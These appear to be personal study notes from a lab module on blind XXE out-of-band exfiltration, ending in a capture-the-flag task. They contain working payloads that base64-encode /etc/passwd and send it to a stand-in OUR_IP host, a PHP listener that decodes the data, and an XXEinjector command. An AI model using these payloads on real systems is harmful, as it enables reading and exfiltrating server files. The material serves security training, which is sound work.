9. XXE - Blind data exfiltration

In our XXE examples we saw blind XXE - where we did not receive any output containing any of our XML input entities. Web server displayed PHP runtime errors, so we could use that flaw to read contents of files from the displayed errors reflected to user.

In this mod, we see how to get content in a completely blind situation - where we neither get output of any XML entities, nor do we get any PHP errors.

Out-of-Band XXE Data Exfiltration

If we try to repeat these XXE methods in exercise at new url /blind we will quickly notice none work as expected and we have no way to get anything printed on webapplication response.

In such cases we can utilize an out-of-band data exfil method

In previous attacks we utilized an out-of-band attack when we hosted DTD file in our machine and made the webapplication connect back to us (hence, out of band):

This attack path will be similar, with one significant difference: **instead of having the webapplication output our file entity to a specific XML entity, we will make the webapp send a web request to our server with the content of the file we are attempting to read! **

First: Use param entity for content of file we are reading while utilizing PHP filter to b64 encode it. Second: Create another external param entity and reference it to our IP - place file param value as part of the URL being requested over HTTP.

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

For example if we want to read had content of XXE_SAMPLE_DATA then file param would hold its b64 encoded data. When XML tries to reference oob param from our machine it will request ?content=XXXXXXXX where XXXX is b64 encoded data - then we can decode the string to get the content of the file. We can even write a simple php script that automatically detects encoded file content, decodes it and outputs it to terminal.

<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

host with php server - php -S 0.0.0.0:8000

Initiate attack use payload similar to error-based attack, simply add <root>&content;</root> which is needed to reference our entity and have it send the request to our machine with the file content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

In addition to storing our base64 encoded data as a parameter to our URL we can utilize DNS OOB Exfiltration by placing the encoded data as a sub-domain for our URL like ENCODEDTEXT.our.website.com and use a tool like tcpdump to capture incoming traffic and decode the subdomain string to get the data. This is a bit more advanced and requires more effort to exfiltrate data through.

Automated OOB Exfiltration via XXE

this can be automated with tools, for example: XXEinjector:

https://github.com/enjoiz/XXEinjector

Supports most of the tricks we described in the module

git clone https://github.com/enjoiz/XXEinjector.git

Once we have the tool, we can copy the HTTP request from Burp and write it to a file for the tool to use. We should not include the full XML data, only the first line, and write XXEINJECT after it as a position locator for the tool.

POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.201.94
Referer: http://10.129.201.94/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT

Run tool with --host and --httpport flags being OUR IP and port. --file flag is our web request from above. --oob=http and --phpfilter flags to repeat OOB attack we did above

ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter

We may see tool does not directly print the data - this is because we are base64 encoding it thus it does not get printed. All exfilrated files are stored in Logs folder.

Module:

Using Blind Data Exfiltration on the '/blind' page to read the content of '/327a6c4304ad5938eaf0efb6cc3e53dc.php' and get the flag.

![](/img/Pasted image 20250101133902.png) ![](/img/Pasted image 20250101134040.png)

![](/img/Pasted image 20250101134303.png)

![](/img/Pasted image 20250101134426.png)